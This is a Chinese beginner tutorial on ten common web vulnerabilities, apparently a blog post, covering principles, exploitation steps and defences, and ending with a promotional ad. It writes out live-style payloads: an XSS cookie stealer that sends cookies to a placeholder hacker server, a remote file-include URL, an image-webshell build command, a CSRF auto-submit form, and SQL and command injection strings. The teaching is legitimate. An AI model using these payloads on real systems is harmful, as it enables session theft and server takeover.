在网络安全领域,漏洞挖掘是渗透测试的核心能力,而 80% 的实战场景中,高频出现的漏洞仅占 10 类。对于零基础新手而言,无需盲目钻研上千个冷门漏洞,吃透这十大核心漏洞的原理、利用方式与防御逻辑,就能快速具备实战能力,轻松应对靶场练习、SRC 提交乃至企业安全测试场景。本文将从漏洞本质出发,结合实战场景拆解每类漏洞,附清晰利用流程与防御方案,助力新手快速通关。
一、十大高危漏洞核心概览(附危害等级与出现频率)
以下十大漏洞均来自 OWASP Top 10 官方统计与企业实战高频场景,覆盖 Web 应用、服务器、内网环境等核心测试领域,新手可按 “危害高→出现频率高” 的顺序优先掌握:

| 漏洞名称 | 危害等级 | 核心风险 | 高频场景 |
|---|---|---|---|
| SQL 注入 | 高危 | 数据库数据泄露、服务器控制权窃取 | 登录页、搜索框、数据查询接口 |
| XSS 跨站脚本 | 高危 | Cookie 窃取、会话劫持、钓鱼攻击 | 评论区、用户资料页、表单提交框 |
| 逻辑漏洞(越权 / 支付) | 高危 | 权限滥用、财产损失、数据泄露 | 订单支付、用户中心、后台管理系统 |
| 文件上传漏洞 | 高危 | 服务器 getshell、恶意代码植入 | 头像上传、附件上传、资源分享功能 |
| CSRF 跨站请求伪造 | 中高危 | 非授权操作(改密码、转账) | 个人设置、支付确认、数据提交接口 |
| SSRF 服务器端请求伪造 | 中高危 | 内网资源探测、端口扫描、服务攻击 | 图片爬虫、第三方接口调用、文件下载功能 |
| 命令注入 | 高危 | 服务器命令执行、控制权窃取 | 网络工具(ping/traceroute)、系统管理功能 |
| 文件包含漏洞 | 中高危 | 代码执行、敏感文件读取 | 模板加载、文件预览、动态页面渲染 |
| 反序列化漏洞 | 高危 | 代码执行、服务器控制权窃取 | 框架序列化接口、数据传输模块 |
| 弱口令 / 凭据泄露 | 中危 | 账号被盗、权限滥用 | 登录页、远程登录(SSH/RDP)、数据库访问 |
二、十大漏洞深度拆解(原理 + 利用 + 防御 + 新手避坑)
1. SQL 注入漏洞:数据库的 “致命漏洞”
漏洞原理
由于用户输入未经过滤或过滤不彻底,直接拼接到 SQL 查询语句中,导致攻击者可通过构造恶意 SQL 语句,篡改查询逻辑、获取敏感数据甚至控制数据库服务器。核心本质是 “输入数据被当作代码执行”。
典型场景与利用流程
- 场景:某网站登录页的 SQL 查询语句为
SELECT * FROM user WHERE username='$username' AND password='$password',攻击者输入admin' or 1=1#作为用户名,密码任意,语句拼接后变为SELECT * FROM user WHERE username='admin' or 1=1#' AND password='',逻辑恒真,直接登录成功。 - 利用步骤:
- 信息收集:判断输入点(如 URL 参数、表单字段)是否可能存在注入;
- 注入点测试:用单引号(')、双引号(")测试,观察页面是否报错(如 SQL 语法错误);
- 数据提取:用 Union 查询、盲注(时间 / 布尔)获取数据库名、表名、字段名,最终导出数据;
- 权限提升:若数据库权限较高,可执行
xp_cmdshell(Windows)或system()(Linux)命令,控制服务器。
防御方案
- 核心方案:使用参数化查询(PreparedStatement),避免 SQL 语句拼接;
- 辅助方案:输入过滤(过滤单引号、Union、OR 等关键字)、最小权限原则(数据库账号仅授予查询权限)、开启数据库错误屏蔽(不向用户返回具体 SQL 错误信息)。
新手避坑
不要依赖 “输入过滤” 作为唯一防御手段,攻击者可通过编码(如 URL 编码)、关键字变形(如 UNION 写成 Uniuon)绕过过滤;优先使用参数化查询,从根源杜绝注入。
2. XSS 跨站脚本漏洞:网页的 “恶意脚本注入”
漏洞原理
攻击者将恶意 JavaScript 脚本注入到网页中,当其他用户访问该页面时,脚本被浏览器执行,实现窃取 Cookie、劫持会话、钓鱼欺诈等攻击。核心本质是 “用户输入的脚本被浏览器信任并执行”。
分类与典型场景
- 反射型 XSS:脚本通过 URL 参数注入,仅在当前请求中生效(如搜索框输入
<script>alert('xss')</script>,结果页直接执行); - 存储型 XSS:脚本被存储到服务器数据库(如评论区输入
<script src="http://黑客服务器/steal.js"></script>),所有访问该页面的用户都会触发; - DOM 型 XSS:通过篡改页面 DOM 结构触发(如通过 URL 参数控制页面元素内容,注入脚本)。
利用流程与防御方案
- 核心利用:构造窃取 Cookie 的脚本
<script>document.location.href='http://黑客服务器/steal?cookie='+document.cookie</script>,注入后获取用户会话 Cookie,实现会话劫持; - 防御方案:
- 输入过滤:过滤
<script>、onclick、src等危险标签和属性; - 输出编码:将用户输入的特殊字符(如
<转义为<),使其无法被浏览器解析为脚本; - 开启 CSP(内容安全策略):限制网页加载的脚本来源,仅允许信任的域名执行脚本。
- 输入过滤:过滤
新手避坑
存储型 XSS 危害远大于反射型,需重点关注用户可提交内容的功能(评论、资料、留言);不要忽视 DOM 型 XSS,即使做了输入过滤,若前端直接用 URL 参数渲染页面,仍可能触发漏洞。
3. 逻辑漏洞(越权 / 支付):业务流程的 “隐形漏洞”
漏洞原理
由于业务逻辑设计缺陷,导致攻击者可绕过正常权限校验或业务规则,实现越权操作、财产损失等攻击。这类漏洞不依赖技术漏洞,工具难以扫描,需结合业务流程分析。
常见类型与场景
- 水平越权:同级别用户可访问其他用户的数据(如修改 URL 中
user_id=1为user_id=2,查看他人订单); - 垂直越权:低权限用户可访问高权限功能(如普通用户直接访问
/admin后台,或通过修改请求头Role=admin提升权限); - 支付逻辑漏洞:篡改支付金额、重复使用优惠券、跳过支付步骤(如订单提交后直接修改
price=1,或取消订单后未回收优惠券)。
利用流程与防御方案
- 支付漏洞利用步骤:
- 提交订单,抓包获取支付请求(含金额参数
amount=1000); - 用 Burp Suite 修改金额为
amount=1,重放请求; - 完成支付,验证订单是否生效。
- 提交订单,抓包获取支付请求(含金额参数
- 防御方案:
- 权限校验:后端对每个请求的用户权限进行严格校验,不依赖前端传参(如
user_id从登录会话中获取,而非 URL 参数); - 业务规则校验:关键参数(金额、订单状态)在后端二次校验,避免前端篡改;
- 日志审计:对敏感操作(支付、权限变更)记录日志,便于追溯异常行为。
- 权限校验:后端对每个请求的用户权限进行严格校验,不依赖前端传参(如
新手避坑
逻辑漏洞无法通过工具扫描发现,需 “模拟用户操作 + 拆解业务流程”;重点关注核心业务(支付、订单、权限管理),测试时多尝试 “跳过步骤、篡改参数、重复操作”。
4. 文件上传漏洞:服务器的 “后门入口”
漏洞原理
文件上传功能未对上传文件的类型、后缀名、内容进行严格校验,导致攻击者可上传恶意脚本文件(如 PHP 木马、ASP 后门),并通过访问该文件获取服务器控制权。
常见绕过方式
- 后缀名绕过:将恶意文件后缀改为
.php5、.phtml、.asp;.jpg(利用服务器解析漏洞),绕过黑名单过滤; - MIME 类型绕过:前端限制文件类型为图片(
image/jpeg),攻击者用 Burp 修改请求头Content-Type为image/jpeg,上传 PHP 文件; - 文件内容绕过:将 PHP 木马嵌入图片文件(图片马),上传后通过服务器解析漏洞(如 Apache 的
.htaccess配置)执行脚本。
利用流程与防御方案
- 图片马利用步骤:
- 制作图片马:
copy 1.jpg /b + shell.php /a webshell.jpg(Windows 命令),将 PHP 木马嵌入图片; - 上传图片马,获取文件访问路径(如
/upload/webshell.jpg); - 利用服务器解析漏洞(如 Apache 允许
.htaccess配置),让服务器将图片文件解析为 PHP 脚本; - 用蚁剑连接
http://目标/upload/webshell.jpg,获取服务器 shell。
- 制作图片马:
- 防御方案:
- 后缀名白名单:仅允许上传
.jpg、.png、.gif等安全后缀,拒绝黑名单; - 文件内容校验:校验文件头部(如 JPG 文件头部为
FF D8 FF),拒绝恶意脚本内容; - 存储隔离:上传文件存储在独立服务器或云存储,禁止执行脚本;
- 文件名随机化:将上传文件名改为随机字符串(如
a3f57d.jpg),避免攻击者猜测路径。
- 后缀名白名单:仅允许上传
新手避坑
不要仅依赖前端文件类型限制,攻击者可轻易篡改请求;图片马的核心是 “服务器解析漏洞”,若服务器不解析非脚本后缀的文件,图片马无法生效。
5. CSRF 跨站请求伪造:身份认证的 “漏洞陷阱”
漏洞原理
攻击者利用用户已登录的会话状态,诱导用户访问恶意链接或页面,发起非授权的 HTTP 请求(如修改密码、转账)。核心本质是 “服务器仅验证会话 Cookie,未验证请求是否由用户主动发起”。
典型场景与利用流程
-
场景
某网站修改密码的请求为
POST /change_pwd,参数为
new_pwd=123456,仅验证登录 Cookie。攻击者构造恶意页面,包含自动提交的表单:
<form action="http://目标网站/change_pwd" method="POST"> <input type="hidden" name="new_pwd" value="hacker123"> </form> <script>document.forms[0].submit();</script> -
利用步骤:
- 攻击者诱导已登录用户访问该恶意页面;
- 页面自动提交修改密码请求,服务器验证 Cookie 有效,执行修改操作;
- 攻击者获取新密码,劫持用户账号。
防御方案
- 核心方案:添加 CSRF Token(随机字符串),服务器验证请求中的 Token 与用户会话中的 Token 一致才执行操作;
- 辅助方案:验证 Referer/Origin 请求头(仅允许来自本网站的请求)、要求二次验证(如修改密码时输入原密码)。
新手避坑
CSRF 漏洞依赖 “用户已登录” 和 “诱导访问”,需同时满足;Token 必须是随机且不可预测的,若 Token 固定或可猜测,仍可能被绕过。
6. SSRF 服务器端请求伪造
漏洞原理
服务器端提供了从外部获取资源的功能(如图片爬虫、文件下载),但未对请求的目标地址进行校验,导致攻击者可通过该功能探测内网资源、扫描端口、攻击内网服务。
典型场景与利用流程
- 场景:某网站提供 “图片转存” 功能,用户输入图片 URL,服务器下载后存储。攻击者输入
http://127.0.0.1:3306(本地 MySQL 端口),服务器发起请求,返回端口状态。 - 利用方向:
- 内网探测:访问
http://192.168.1.1(内网路由器)、http://172.17.0.1:8080(内网服务); - 端口扫描:遍历内网 IP 和端口(如
http://192.168.1.100:22检测 SSH 端口); - 服务攻击:访问内网 Redis 服务,执行写文件命令,植入后门。
- 内网探测:访问
防御方案
- 核心方案:限制请求目标地址,仅允许访问公网域名,禁止访问内网 IP(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16);
- 辅助方案:禁止请求高危端口(22、3306、8080 等)、使用白名单限制可访问的域名、对返回内容进行校验(仅允许图片等预期资源)。
新手避坑
SSRF 的核心危害是 “穿透外网访问内网”,需重点关注 “服务器主动发起外部请求” 的功能;不要忽视 “URL 跳转” 功能,若未校验跳转目标,也可能导致 SSRF(如 http://目标网站/redirect?url=http://127.0.0.1)。
7. 命令注入漏洞
漏洞原理
服务器端代码将用户输入作为系统命令的一部分执行,且未对输入进行过滤,导致攻击者可通过拼接恶意命令,执行服务器系统命令(如查看文件、控制进程)。
典型场景与利用流程
- 场景:某网站提供 “ping 测试” 功能,用户输入 IP,服务器执行命令
ping $ip。攻击者输入127.0.0.1 && ls /,拼接后命令变为ping 127.0.0.1 && ls /,执行 ping 后列出根目录文件。 - 常用命令拼接符:
&&:前命令成功执行后,执行后命令;||:前命令失败后,执行后命令;|:将前命令输出作为后命令输入;;:分隔多个命令,依次执行。
防御方案
- 核心方案:避免直接将用户输入作为命令执行,使用安全的 API(如 Python 的
subprocess模块的shell=False参数); - 辅助方案:输入过滤(过滤
&&、||、|等命令分隔符)、白名单限制(仅允许输入 IP 地址格式的字符)、最小权限原则(服务器执行命令的账号仅授予最小权限)。
新手避坑
命令注入常出现在 “系统管理工具”“网络测试功能” 中,测试时可尝试输入 127.0.0.1 && whoami 验证;不要依赖输入过滤,攻击者可通过编码(如 URL 编码)绕过,优先使用安全 API。
8. 文件包含漏洞
漏洞原理
服务器端代码使用动态文件包含功能(如 PHP 的 include()、require()),且包含的文件路径由用户控制,未做校验,导致攻击者可包含恶意文件(如本地敏感文件、远程恶意脚本),实现代码执行或信息泄露。
分类与利用流程
- 本地文件包含(LFI):包含服务器本地文件(如
http://目标/?file=/etc/passwd,读取 Linux 系统用户文件); - 远程文件包含(RFI):包含远程服务器上的恶意脚本(如
http://目标/?file=http://黑客服务器/malicious.php,执行远程脚本)。 - 利用步骤(LFI):
- 找到文件包含漏洞点(如 URL 参数
file=index.php); - 构造路径
file=../../../../etc/passwd(目录遍历),读取敏感文件; - 若服务器允许包含 PHP 文件,可结合文件上传漏洞,上传恶意文件后包含执行。
- 找到文件包含漏洞点(如 URL 参数
防御方案
- 核心方案:禁止用户控制包含文件的路径,或使用白名单限制可包含的文件(如仅允许包含
home.php、about.php); - 辅助方案:过滤路径中的
../、http://等危险字符、关闭远程文件包含功能(如 PHP 的allow_url_include=Off)。
新手避坑
本地文件包含常与 “目录遍历” 结合,测试时可尝试拼接 ../ 遍历目录;远程文件包含依赖服务器配置,若关闭 allow_url_include,则无法利用,需优先测试本地文件包含。
9. 反序列化漏洞
漏洞原理
序列化是将对象转换为字符串便于存储 / 传输的过程,反序列化则是将字符串还原为对象。若服务器端未对反序列化的输入进行校验,攻击者可构造恶意序列化字符串,触发代码执行、权限提升等攻击。
典型场景与利用流程
- 场景:某网站使用 PHP 的
unserialize()函数处理用户输入的data参数,攻击者构造包含恶意代码的序列化字符串,提交后服务器反序列化时执行代码。 - 核心条件:
- 存在可控制的反序列化输入点;
- 反序列化的类中存在危险的魔术方法(如 PHP 的
__construct()、__destruct()、__wakeup())。
- 利用步骤:
- 分析目标系统使用的框架或类,找到存在危险魔术方法的类;
- 构造恶意对象,序列化后生成字符串;
- 将序列化字符串作为输入提交,触发反序列化执行恶意代码。
防御方案
- 核心方案:避免将用户可控的输入直接传入反序列化函数,或对输入进行严格校验;
- 辅助方案:使用安全的序列化格式(如 JSON)替代 PHP 序列化、Java 序列化,限制反序列化的类范围、监控反序列化过程中的异常行为。
新手避坑
反序列化漏洞技术门槛较高,新手可先聚焦 PHP、Java 框架的已知漏洞(如 Struts2 的反序列化漏洞);这类漏洞常出现在框架接口、数据传输模块,测试时可关注 data、payload 等可疑参数。
10. 弱口令 / 凭据泄露
漏洞原理
用户使用简单、易猜测的密码(如 123456、admin@123),或服务器 / 应用程序泄露凭据(如配置文件泄露数据库密码、日志文件泄露登录账号),导致攻击者可轻易获取权限。
典型场景与利用流程
- 弱口令场景:后台登录页使用
admin/admin、root/root等弱口令,攻击者通过暴力破解工具(Hydra、Burp Intruder)遍历密码; - 凭据泄露场景:服务器配置文件
config.php泄露数据库账号密码,或 GitHub 仓库泄露源码中的硬编码凭据。 - 暴力破解步骤:
- 确定目标登录接口(如
/login); - 准备账号字典(
admin、root、test)和密码字典(top1000 弱口令); - 用 Burp Intruder 设置参数,批量尝试登录,观察响应状态(如登录成功返回
200 OK)。
- 确定目标登录接口(如
防御方案
- 弱口令防御:强制密码复杂度(长度≥8 位,包含字母 + 数字 + 特殊字符)、限制登录失败次数(如 5 次后锁定账号)、定期更换密码;
- 凭据泄露防御:避免硬编码凭据到源码、配置文件设置严格权限(如 Linux 下
config.php权限设为600)、定期审计代码和服务器,排查泄露风险。
新手避坑
弱口令是最容易被忽略但危害极大的漏洞,测试时优先尝试弱口令登录;凭据泄露常隐藏在配置文件、日志、源码仓库中,可通过 Google Hacking(如 inurl:config.php filetype:php)搜索泄露信息。
三、新手实战落地建议:从靶场到 SRC 的进阶路径
掌握十大漏洞后,需通过实战巩固技能,避免 “纸上谈兵”,推荐以下落地路径:
1. 靶场练习(优先顺序)
- 基础靶场:DVWA(覆盖 SQL 注入、XSS、文件上传等基础漏洞)、SQLI-LAB(专注 SQL 注入)、Upload-Lab(专注文件上传);
- 进阶靶场:VulnHub(模拟真实企业内网环境)、WebGoat(OWASP 官方靶场,覆盖逻辑漏洞、CSRF 等);
- 实战靶场:各大 SRC 平台的 “测试专区”(合法实战,积累漏洞报告经验)。
2. 漏洞挖掘优先级
- 第一步:重点测试高频漏洞(SQL 注入、XSS、文件上传、逻辑漏洞),覆盖 80% 实战场景;
- 第二步:针对性测试目标功能(如登录页测弱口令、上传功能测文件上传、支付功能测逻辑漏洞);
- 第三步:尝试挖掘低频但高危漏洞(SSRF、反序列化),提升竞争力。
3. 新手避坑总结
- 不要依赖工具:工具仅能辅助扫描,逻辑漏洞、DOM 型 XSS 等需手动分析;
- 合法实战:仅在授权环境(靶场、SRC)测试,避免触碰法律红线;
- 重视防御思维:挖掘漏洞的同时,思考防御方案,提升技术深度;
- 持续积累:将漏洞分析、利用过程记录为笔记,形成自己的知识库。
结语:掌握核心漏洞,快速跻身实战派
网络安全漏洞挖掘的核心是 “抓重点”,新手无需追求掌握所有漏洞,吃透这十大高频高危漏洞,就能应对绝大多数实战场景。关键在于 “理解原理 + 反复实战”—— 先在靶场复现漏洞,再尝试在 SRC 平台提交有效漏洞,逐步积累实战经验。
随着技术的积累,可进一步深耕细分领域(如代码审计、内网渗透),但十大漏洞始终是渗透测试的 “基本功”。坚持 “原理 + 实战 + 防御” 三位一体的学习方式,新手可快速超越 99% 的同行,成为具备实战能力的安全从业者。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



2万+

被折叠的 条评论
为什么被折叠?



